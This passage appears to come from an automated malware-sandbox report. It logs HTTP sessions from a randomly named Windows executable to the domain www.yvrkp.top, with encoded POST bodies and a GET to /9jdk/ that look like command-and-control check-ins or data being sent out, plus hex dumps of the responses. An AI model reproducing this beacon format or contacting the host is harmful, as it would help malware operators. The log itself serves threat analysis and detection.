Nov 13, 2024 09:27:42.482090950 CET	112	IN	Data Raw: 62 2c 2a 3f 79 fd 4c 5d 5d 58 de 44 99 d7 f3 c7 94 9d 69 99 57 6f 19 b8 db c6 a3 9a 6c fd 37 57 78 6d f7 24 2e e8 3e 41 7e 49 47 0a 6d 77 8a e4 8a 3a 41 ad a4 44 81 6c 77 a6 e9 58 8c 22 6c 56 86 a2 87 ad 76 f0 d0 2e 52 f1 8a 1f 6a bb c4 6f c3 0a Data Ascii: b,*?yL]]XDiWol7Wxm$.>A~IGmw:ADlwX"lVv.Rjoc!x~k0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	58999	104.21.14.183	80	2800	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:27:43.567522049 CET	797	OUT	POST /9jdk/ HTTP/1.1 Host: www.yvrkp.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.yvrkp.top Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 219 Referer: http://www.yvrkp.top/9jdk/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 72 50 3d 62 73 7a 54 77 38 42 4b 32 62 47 4d 55 70 35 34 31 41 44 7a 7a 33 6c 41 71 4f 2b 52 5a 52 30 39 43 67 47 56 31 38 30 43 31 76 6e 72 75 75 6d 44 2f 6c 6a 49 43 69 2b 56 65 36 66 55 38 7a 45 5a 73 36 62 48 59 30 64 73 56 70 50 66 52 65 72 78 6f 74 4d 31 4e 31 77 35 64 4e 62 61 4c 4f 57 4c 65 64 6a 54 77 38 47 4b 6c 50 68 62 53 32 47 45 77 42 34 47 68 52 58 79 72 34 59 56 4b 6a 79 39 58 42 66 6e 75 2f 54 55 58 31 51 2f 2b 55 44 2f 76 62 38 47 4a 47 68 42 4f 4a 54 2b 62 62 33 66 6c 47 4b 58 4a 4d 6e 70 50 68 69 2b 31 6e 52 47 4d 49 44 72 47 4e 34 58 4f 70 63 58 70 65 70 50 70 64 6a 64 62 6b 2f 57 6e 50 39 6f 43 6c 55 53 68 4f 71 34 79 49 34 3d Data Ascii: rP=bszTw8BK2bGMUp541ADzz3lAqO+RZR09CgGV180C1vnruumD/ljICi+Ve6fU8zEZs6bHY0dsVpPfRerxotM1N1w5dNbaLOWLedjTw8GKlPhbS2GEwB4GhRXyr4YVKjy9XBfnu/TUX1Q/+UD/vb8GJGhBOJT+bb3flGKXJMnpPhi+1nRGMIDrGN4XOpcXpepPpdjdbk/WnP9oClUShOq4yI4=
Nov 13, 2024 09:27:44.597100019 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 08:27:44 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: private X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET X-Frame-Options: SAMEORIGIN Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type, needToken,method, Authorization cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JfWjV8s5g%2B7cHRVRAEjk%2FBEYFbUYckCjtaB6jFGgogQeFAU52%2FFyJhoqDpvH7xF%2FmmlfvgNChcivvM0Jj%2FVWCd2p%2Ffyzr9ofOB2uj49UDLcIDsaU4BwCTwCwFDgAP7MZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e1d62607ad5467e-DFW Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1179&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=797&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 00 00 00 ff ff 0d 0a 35 37 31 0d 0a c4 58 4d 6f db 46 10 3d db 80 ff c3 86 41 91 04 e8 8a b2 1c 37 09 23 19 4d 1d bb 4d 3f f2 81 d8 45 7b 32 46 e4 48 5c 6b b9 cb ec 2e 29 cb 41 80 1e 0b 14 3d e4 92 a2 40 7a 68 0f 3d f5 da 5b d1 7f 13 03 f9 17 c5 92 94 bc 94 28 db 45 9c 56 17 92 b3 fb de cc be 99 9d 25 d5 bd 72 ff d1 f6 de b7 8f 77 48 6c 12 be b5 b6 da b5 57 12 72 d0 ba e7 1d 6a 12 6a 0d 82 25 60 98 14 da db 5a 5b 5d e9 c6 08 91 9d 99 a0 01 12 1b 93 52 7c 96 b1 bc e7 6d 4b 61 50 18 ba 37 49 d1 23 61 f9 d4 f3 0c 1e 19 df d2 de 25 61 0c 4a a3 e9 ed ef ed d2 db 96 8d 90 45 9a 6f e8 fe 3d ba 2d 93 14 0c eb 73 97 e9 c1 4e 0f a3 21 ba 40 01 09 f6 bc 08 75 a8 58 6a 83 74 a6 2f ce 1b e1 64 2c 55 a4 cf Data Ascii: f571XMoF=A7#MM?E{2FH\k.)A=@zh=[(EV%rwHlWrjj%`Z[]R\|mKaP7I#a%aJEo=-sN!@uXjt/d,U
Nov 13, 2024 09:27:44.597152948 CET	1173	IN	Data Raw: 9c 94 33 1c a7 52 19 67 d2 98 45 26 ee 45 98 b3 10 69 f1 f0 21 61 82 19 06 9c ea 10 38 f6 d6 2b 1e c3 0c c7 ad 4f bf fe 7c ef 93 9d a7 7b 5d bf 7c 5e 5b 9d 77 a2 50 44 a8 50 b9 4e b0 3f 62 c6 ab 4d ae c9 0b 61 8c d4 8a ac 24 77 70 42 52 cd 0c 42 Data Ascii: 3RgE&Ei!a8+O\|{]\|^[wPDPN?bMa$wpBRB.%}O!Mi)%4H/V0}PTI!]KoV%x(cQa:[pw{s/l\|?Vtq\|Em:p&FD!y
Nov 13, 2024 09:27:44.792308092 CET	1236	IN	Data Raw: 36 62 61 0d 0a dc 5b 49 73 d3 48 14 be 53 c5 7f 70 99 3d 33 8a bb 25 b5 16 87 f1 65 0e 73 1a 4e 99 13 45 a5 64 b5 4c 0c 76 ec f2 42 85 03 55 61 09 84 65 26 14 04 48 9c 00 13 1c 88 a7 82 4d 08 24 66 c9 f2 67 d0 e2 d3 fc 85 29 49 dd b2 e4 18 08 31 Data Ascii: 6ba[IsHSp=3%esNEdLvBUae&HM$fg)I1[{;XY}cxYs.cjSu~zzYL=VxQ&#)W&4n{(.cU%Ub1VUy,a,bv!5164
Nov 13, 2024 09:27:44.792363882 CET	493	IN	Data Raw: b9 2a 0e 76 c9 55 21 ea aa 10 44 3c 87 44 51 10 f9 fe b3 c9 c4 ae 11 b1 b6 ea 9f 36 fe d6 9f 3f b2 ca 8f f5 89 7a 6f ba 2a 49 e0 bb 84 07 a4 78 40 28 20 80 9c 85 d2 d1 0a 21 78 2c 4f 1a b7 ee eb 0b 9b 3d 89 87 63 94 5d f7 58 02 10 78 5e 42 10 74 Data Ascii: vU!D<DQ6?zoIx@( !x,O=c]Xx^Btw7f^[[OU3Z `a9;BgikOM}}R_i/yPj1Vo/E-<c,OYo+9n\$"8Y0q{g?-
Nov 13, 2024 09:27:44.987910986 CET	1236	IN	Data Raw: 61 66 63 0d 0a ec 5d eb 4f db c8 16 ff bc 2b ed ff 30 eb ee 6d 12 b5 79 d4 49 78 a4 10 a9 7b 57 d5 5d 69 3f 5c a9 1f ee 87 aa 5a 05 62 12 df 6b e2 28 76 a0 4f 09 da 42 80 02 a1 25 3c 04 b4 34 2d 6d a1 94 c7 b2 2c 8f 24 80 74 ff 95 cd f8 f1 a9 ff Data Ascii: afc]O+0myIx{W]i?\Zbk(vOB%<4-m,$tdlRx93s\|f_l/pjNAz9VkNb$bdz^6k.]10oL;bzl5SJOqeO28MH:`~DtizOs
Nov 13, 2024 09:27:44.987951040 CET	1236	IN	Data Raw: ed 10 fd 78 bb f9 bb de 0e fe 36 12 0b c3 57 d5 52 e5 cd 93 f3 47 04 b5 79 b1 62 83 99 84 c2 87 e4 f6 c8 62 11 70 81 09 a3 df e3 14 2d e0 ac 69 0d 30 5e be ae 86 d6 8e 19 07 13 af b0 6d 33 3a 90 9e bd 0c 86 88 f6 a5 5a ca 73 c0 49 44 8e 05 f7 fe Data Ascii: x6WRGybbp-i0^m3:ZsID/PGCZ[[~U+,W$%&Ix@pnOoHX'eHHO}7YFGED@6&4`$/<\|2LaFLhO)1\5)%CFDm
Nov 13, 2024 09:27:44.987987041 CET	369	IN	Data Raw: 40 2f 45 0a 40 4e bd 16 52 9e 44 ee a4 d3 18 6b e2 37 8c b1 51 f1 46 9a 61 e2 11 10 0e 04 2c e2 74 0b ba d2 a8 33 db ea 5c 41 9a d9 51 67 b6 6d 66 58 67 d0 64 53 5f 57 76 8d 4b df a2 69 90 d1 97 c4 fc c0 60 77 a4 b1 a2 fa 76 5a fa 50 94 86 df a1 Data Ascii: @/E@NRDk7QFa,t3\AQgmfXgdS_WvKi`wvZPztwEBEc8wEG3&N@hdQB}X^pYLG6^\SG#)}3( YO5e#$6TGd9Z=#0BB*

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	59009	104.21.14.183	80	2800	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:27:46.113253117 CET	10879	OUT	POST /9jdk/ HTTP/1.1 Host: www.yvrkp.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.yvrkp.top Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 10299 Referer: http://www.yvrkp.top/9jdk/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 72 50 3d 62 73 7a 54 77 38 42 4b 32 62 47 4d 55 70 35 34 31 41 44 7a 7a 33 6c 41 71 4f 2b 52 5a 52 30 39 43 67 47 56 31 38 30 43 31 76 76 72 76 64 75 44 2b 43 33 49 46 69 2b 56 58 61 66 56 38 7a 45 2b 73 36 44 44 59 31 68 57 56 72 6e 66 54 37 2f 78 75 66 6b 31 45 31 77 35 52 74 62 5a 50 4f 57 65 65 64 7a 66 77 38 32 4b 6c 50 68 62 53 31 65 45 6d 6a 41 47 74 78 58 39 2f 6f 59 6a 62 7a 79 46 58 42 48 5a 75 2f 6d 72 58 6c 77 2f 2f 30 7a 2f 74 4f 67 47 46 47 68 44 41 70 54 32 62 62 37 45 6c 47 6d 62 4a 49 6e 54 50 69 2b 2b 30 68 4a 62 57 61 50 30 5a 76 6f 54 56 37 41 64 6e 76 46 55 6e 74 6e 31 66 31 75 50 7a 73 5a 71 41 30 6c 5a 77 36 57 76 71 76 67 47 38 6b 36 63 32 49 54 30 77 55 71 6d 2f 6a 6f 76 37 6c 75 70 45 34 4f 39 4f 65 50 58 35 4b 72 5a 4e 4e 48 6b 4b 7a 33 50 6d 64 69 71 79 73 6d 70 34 6f 6d 4b 7a 48 32 47 6d 6f 62 72 4a 67 76 57 42 38 2b 73 69 71 68 41 78 51 52 79 30 4d 38 72 34 36 45 78 50 4d 38 66 64 47 55 4d 77 49 76 65 4f 54 58 39 6f 2b 61 68 62 6c 53 79 55 56 43 62 37 74 51 59 7a 36 54 [TRUNCATED] Data Ascii: rP=bszTw8BK2bGMUp541ADzz3lAqO+RZR09CgGV180C1vvrvduD+C3IFi+VXafV8zE+s6DDY1hWVrnfT7/xufk1E1w5RtbZPOWeedzfw82KlPhbS1eEmjAGtxX9/oYjbzyFXBHZu/mrXlw//0z/tOgGFGhDApT2bb7ElGmbJInTPi++0hJbWaP0ZvoTV7AdnvFUntn1f1uPzsZqA0lZw6WvqvgG8k6c2IT0wUqm/jov7lupE4O9OePX5KrZNNHkKz3Pmdiqysmp4omKzH2GmobrJgvWB8+siqhAxQRy0M8r46ExPM8fdGUMwIveOTX9o+ahblSyUVCb7tQYz6TMgQRgpBU0PDVzJrJIeWWOfZs9JVyolUHKJezSYUA956sBG6RZ8MmJrsPsizBaG8LAaln5S0ifBBPyq4VBeYMr57EvVKIpWdzLMhzTFgMVjm1nwIFYGJle77MwRX/HVeeBUZmhmNag6rAvCCywVEI6AAWsi+TQb579kOkAGzb+8TovB83JHBFqchtgBoYUGNqLy/hglp2dGWL9CaiKLw8lMucdPbFi5UANqYCAtsso6zjvFDXQVXj6V+l+ism/9ZcgKGyV4FZqWS2ORifjYUbA2JKwYyn/3YYBUw4KVkGRrXm53e4f80TVEJh2yl3+/LyRrM6IgcmQlS48gwAx8L0HpmlmpVCL5Mv1j8h5p2MxDYp53gEgMxokaCHeMu8nYXKpo4sfQk2sDXRFAqtDpyuOoPGT1THhaR4HlBLhI0DmrONV99YITaB6nm0VGRtJVbx0m9bddujXo5jweYKBHQlmZUNEme9irq9bD0y7AX8gJxi7BXAjWvKjmtSxg7wvdYp9r0kTTxHeUd26J83Tu56DcyLDv5ZVGJRNdBFYHC4VLFQd7dwCT/xVxf9TOmWviv+Kc91468/rXERs5jYca9AySSazFKiauybnnz0mculgLGpNdpFoM39HampT6JnaGeMh0xYywrA7f9ouErtcT2bLkpHW6bDiTl3fa [TRUNCATED]
Nov 13, 2024 09:27:47.160398960 CET	1010	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 08:27:47 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: private X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET X-Frame-Options: SAMEORIGIN Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type, needToken,method, Authorization cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5QUagc1ARxq%2BvBhqdi3RVUZyUrKzPVsdSVzsrfvgVuyt%2BSGV46SaaiVYzB%2FozHQKRQalQSSAqqd2L43xV1Hiifd6deNC4zgnfdXNKHbsJoQQ%2BSnKZnQXfs%2BfJ4YUlpvu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e1d62706ee98787-DFW Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1235&sent=5&recv=11&lost=0&retrans=0&sent_bytes=0&recv_bytes=10879&delivery_rate=0&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 00 00 00 ff ff 0d 0a Data Ascii: f
Nov 13, 2024 09:27:47.160418034 CET	1236	IN	Data Raw: 35 37 31 0d 0a c4 58 4d 6f db 46 10 3d db 80 ff c3 86 41 91 04 e8 8a b2 1c 37 09 23 19 4d 1d bb 4d 3f f2 81 d8 45 7b 32 46 e4 48 5c 6b b9 cb ec 2e 29 cb 41 80 1e 0b 14 3d e4 92 a2 40 7a 68 0f 3d f5 da 5b d1 7f 13 03 f9 17 c5 92 94 bc 94 28 db 45 Data Ascii: 571XMoF=A7#MM?E{2FH\k.)A=@zh=[(EV%rwHlWrjj%`Z[]R\|mKaP7I#a%aJEo=-sN!@uXjt/d,U3RgE&E
Nov 13, 2024 09:27:47.160509109 CET	164	IN	Data Raw: 21 45 81 56 df be 01 d9 b0 5b b0 71 11 4d 29 bb c0 ea ec 89 e0 6d bd fd fd d5 db 5f ff 6c 4e bb 0f b5 dc d5 b4 3f 33 27 e7 c8 6a b3 41 58 d4 bb 36 6b 3f 45 15 5e 7b df 19 f2 1a 75 2f 82 c8 f4 ff 20 fd 4f af 4f 5e fd 75 f2 fd cb 37 df bd 5c 92 80 Data Ascii: !EV[qM)m_lN?3'jAX6k?E^{u/ OO^u7\&c4^[]YY]lNO'e+P$?_8
Nov 13, 2024 09:27:47.350872993 CET	1236	IN	Data Raw: 36 62 33 0d 0a dc 5b 5b 53 13 49 14 7e b7 ca ff 30 15 d7 1b bb c3 74 f7 dc 83 9b 97 7d d8 a7 dd 27 f6 c9 b2 52 93 b9 2c d1 40 52 b9 58 f8 60 15 17 6b 15 29 17 56 91 4b 40 a9 90 a0 58 18 44 50 11 e4 f2 67 9c 4b 9e f6 2f 6c cd a5 27 33 21 2a 12 31 Data Ascii: 6b3[[SI~0t}'R,@RX`k)VK@XDPgK/l'3!1ds;;CC1u`VVw,6Q:}X9f!nV-5_JuR3I\QL6We9QXhhi*kh(j&h@c&i;L<.kqgx<
Nov 13, 2024 09:27:47.350899935 CET	486	IN	Data Raw: 6a ab b3 e6 ce 73 e3 ce 62 ed f1 81 55 9e 33 d6 a7 ac 37 2b c6 ec be 39 fb cc 6e 5c 9d ec 48 1b 13 11 dd 26 1b 43 d8 c6 10 64 00 64 39 04 45 a1 25 64 f5 07 a5 da 50 d1 fc eb b5 b1 fe c6 5a 1a ef 48 4b 13 85 b6 58 5a 83 cf e3 19 16 32 0c dd a2 cf Data Ascii: jsbU37+9n\H&Cdd9E%dPZHKXZ23v~3@WAp* ~!j"V<fvh, S3Vgnl<yA2Ny lKpwdg(Su>,9V2Y(
Nov 13, 2024 09:27:47.540983915 CET	1236	IN	Data Raw: 62 32 30 0d 0a ec 5d 5b 4f 1b 49 16 7e 9e 91 e6 3f d4 f4 cc c6 b6 12 5f f0 05 b0 03 96 32 1b 45 3b da 79 58 29 0f fb 10 45 a3 06 37 76 6f 1a b7 e5 6e 43 c8 45 22 84 8b 21 10 20 40 ec 70 09 21 21 0c b9 13 87 31 04 3b 20 ed 5f 19 57 5f 9e f8 0b ab Data Ascii: b20][OI~?_2E;yX)E7vonCE"! @p!!1; _W_DKDqSNsw 0R.[0?Y98cwR#I2@#^{k&^kF\zn99t:AJ<e(5HLR%tiG8J
Nov 13, 2024 09:27:47.541006088 CET	212	IN	Data Raw: 1e 5a 00 c1 b1 19 40 5f 0d 2a 64 9c 34 08 da 61 09 9a 00 c3 4c 18 60 16 8d 75 ad da da da 2c 39 a3 76 47 a1 e4 78 be 0e b1 8a e8 e3 ed 65 af 79 bb d8 ab 48 2d 05 f3 ca 88 af 37 37 ce 9f 11 18 ed 62 05 14 33 29 a5 9c a5 db c3 91 c5 c0 0f 54 04 fd Data Ascii: Z@_*d4aL`u,9vGxeyH-77b3)T535`zrkR&Yl4={tS8_H9Dcnf9K)owf q5;s~Zy[}&hHl1VP(dD0!"?&d
Nov 13, 2024 09:27:47.541022062 CET	1236	IN	Data Raw: 9d 67 b9 8b 0d 8a 8a f3 44 0c e4 b2 8c db c1 af 42 45 53 f2 22 1e 84 b2 e0 b1 97 93 a5 32 14 a9 00 37 6a 97 f6 64 5a 43 a3 50 7a cc 5c 4d d1 b4 f8 5c ac ce 49 e1 06 67 1a 9c 46 1f 39 0d 22 7c ce 08 64 ae 3a f8 8e 11 5d b9 01 2f c3 26 d9 a3 02 a3 Data Ascii: gDBES"27jdZCPz\M\IgF9"\|d:]/&PkKRV"Ci@KRi.VeNG&A;TontCTA ,r:#/QrzgzLM$sq46P_:-A}5h_@
Nov 13, 2024 09:27:47.541038990 CET	193	IN	Data Raw: 11 20 c8 c0 9f 14 c4 40 44 e4 8c 24 88 f3 d4 41 e4 89 86 a4 1c 97 fa bb 0e 90 64 d2 84 53 9b 9e 08 f8 82 1c ce a1 6d 4e 88 f6 40 5f 3f 7e 3f 4b 71 19 36 cd d1 7d d4 bf 11 05 17 03 97 ac 33 a7 82 73 95 61 69 94 17 d1 8a e0 d9 71 01 b8 f0 20 7a 12 Data Ascii: @D$AdSmN@_?~?Kq6}3saiq zC`ZTzakY\G'OWxIY}%"Zz$C]<GAUpYc-S9k0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	59023	104.21.14.183	80	2800	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:27:48.656856060 CET	523	OUT	GET /9jdk/?rP=WubzzLgyg7H8FuUk5n/moB8/gOqFZhsVZD6HlZkF1Lv4/cTJ30fLKlagebv44Go8+oe4d1owWbTtJNvV0eU1JmU5XMaUHO6aCszk2dDtn8pHKEGonxM30wY=&2p2h=vzYT2lDhJTZ0Ql HTTP/1.1 Host: www.yvrkp.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 13, 2024 09:27:50.170633078 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 08:27:49 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: private X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET X-Frame-Options: SAMEORIGIN Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type, needToken,method, Authorization cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UjHYZyHvwzHCSDoCM5s1iOqSX00sSzrK%2F2%2BqIe0qRkduGgQagp83h8%2FMkoiufNjgKYNUDa7rv114DpR5xWldq4%2Be6%2BrtephnSpL0ygZtixuRKDZ6vDDkXBvQki8t%2Fgbu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e1d62807c14e936-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1305&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=523&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 33 30 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6a 73 20 63 73 73 61 6e 69 6d 61 74 69 6f 6e 73 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0d 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0d 0a 20 20 3c Data Ascii: 130d<!DOCTYPE html><html class="js cssanimations"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="description" content=""> <meta name="keywords" content=""> <
Nov 13, 2024 09:27:50.170670033 CET	212	IN	Data Raw: 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 20 20 3c 74 69 74 6c 65 3e 47 56 4a 54 Data Ascii: meta name="viewport" content="width=device-width, initial-scale=1"> <title>GVJTBEST</title> <meta name="renderer" content="webkit"> <meta http-equiv="Cache-Control" content="no-siteapp"> <meta nam
Nov 13, 2024 09:27:50.170703888 CET	1236	IN	Data Raw: 65 3d 22 6d 6f 62 69 6c 65 2d 77 65 62 2d 61 70 70 2d 63 61 70 61 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 79 65 73 22 3e 0d 0a 0d 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 65 2d 6d 6f 62 69 6c 65 2d 77 65 62 2d 61 70 70 2d 63 61 Data Ascii: e="mobile-web-app-capable" content="yes"> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="apple-mobile-web-app-status-bar-style" content="black"> <meta name="apple-mobile-web-app-title" content="Amaze UI"><met
Nov 13, 2024 09:27:50.170758009 CET	1236	IN	Data Raw: 69 6e 64 65 78 3a 20 36 3b 0d 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 34 39 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 3b 0d 0a 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 34 39 70 Data Ascii: index: 6; height: 49px; margin:0 auto; line-height: 49px; padding: 0 10px; width: 100%; text-align: center; background-color: #fff; } @media screen and (min-width: 75
Nov 13, 2024 09:27:50.170793056 CET	1236	IN	Data Raw: 7b 0d 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 61 6d 2d 68 65 61 64 65 72 20 2e 61 6d 2d 68 65 61 64 65 72 2d 74 69 74 6c 65 20 69 6d 67 20 7b Data Ascii: { background-color: #fff; } .am-header .am-header-title img { margin-top: 15px; height: 20px; width: 100px; vertical-align: top; } #about-us-detail { margin: 3px; }
Nov 13, 2024 09:27:50.170828104 CET	694	IN	Data Raw: 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 61 6e 76 69 2d 6e 61 76 69 67 61 74 69 6f 6e 5f 5f 74 65 78 74 22 3e e9 a6 96 e9 a1 b5 3c 2f 73 70 61 6e 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0d 0a 20 20 20 20 20 20 20 20 3c Data Ascii: <span class="canvi-navigation__text"></span> </a> </li> <li> <span class="canvi-navigation__item" id='about-us-title'> <span class="canvi-navigation__icon-wrapper"
Nov 13, 2024 09:27:50.170856953 CET	694	IN	Data Raw: 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 61 6e 76 69 2d 6e 61 76 69 67 61 74 69 6f 6e 5f 5f 74 65 78 74 22 3e e9 a6 96 e9 a1 b5 3c 2f 73 70 61 6e 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0d 0a 20 20 20 20 20 20 20 20 3c Data Ascii: <span class="canvi-navigation__text"></span> </a> </li> <li> <span class="canvi-navigation__item" id='about-us-title'> <span class="canvi-navigation__icon-wrapper"
Nov 13, 2024 09:27:50.170996904 CET	1236	IN	Data Raw: 32 35 36 30 0d 0a e7 89 a9 e6 b5 81 e6 a2 9d e6 ac be 3c 2f 61 3e 3c 2f 6c 69 3e 0d 0a 09 09 09 20 3c 6c 69 3e 20 3c 61 20 68 72 65 66 3d 22 2f 61 62 6f 75 74 2f 74 68 2e 68 74 6d 6c 22 3e e9 80 80 e6 8f 9b e6 94 bf e7 ad 96 3c 2f 61 3e 3c 2f 6c Data Ascii: 2560</a></li> <li> <a href="/about/th.html"></a></li> <li> <a href="/about/ys.html"></a></li> <li> <a href="/about/lxwm.html"></a></li> </ul>
Nov 13, 2024 09:27:50.171034098 CET	212	IN	Data Raw: 8d e5 8b 99 e6 99 82 e9 96 93 ef bc 9a 28 55 54 43 2f 47 4d 54 2b 30 38 3a 30 30 29 3c 62 72 3e 39 3a 30 30 2d 31 38 3a 30 30 3c 2f 73 70 61 6e 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 73 70 61 6e 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f Data Ascii: (UTC/GMT+08:00)<br>9:00-18:00</span> </span> </li> </ul> <div style="border-bottom: 1px dashed #dcdcdc;"></div></aside><div class="cus-header"> <span cl
